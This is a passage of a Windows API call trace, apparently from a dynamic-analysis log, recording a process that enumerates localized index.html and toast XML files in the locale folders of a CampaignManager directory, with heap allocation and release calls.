ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0240.240] GetProcessHeap () returned 0xc10000 [0240.240] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.243] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.244] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0240.245] GetProcessHeap () returned 0xc10000 [0240.245] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.245] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0240.245] GetProcessHeap () returned 0xc10000 [0240.245] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0240.248] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.248] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.249] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.249] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.249] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.249] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.249] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0240.250] GetProcessHeap () returned 0xc10000 [0240.251] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.251] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0240.251] GetProcessHeap () returned 0xc10000 [0240.251] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0240.254] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.254] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.255] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0240.256] GetProcessHeap () returned 0xc10000 [0240.256] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0240.257] GetProcessHeap () returned 0xc10000 [0240.257] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.261] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.261] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0240.514] GetProcessHeap () returned 0xc10000 [0240.515] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.515] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0240.515] GetProcessHeap () returned 0xc10000 [0240.515] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0240.518] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.518] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.518] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.519] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.519] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.519] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.519] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0240.520] GetProcessHeap () returned 0xc10000 [0240.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.520] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0240.521] GetProcessHeap () returned 0xc10000 [0240.521] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, 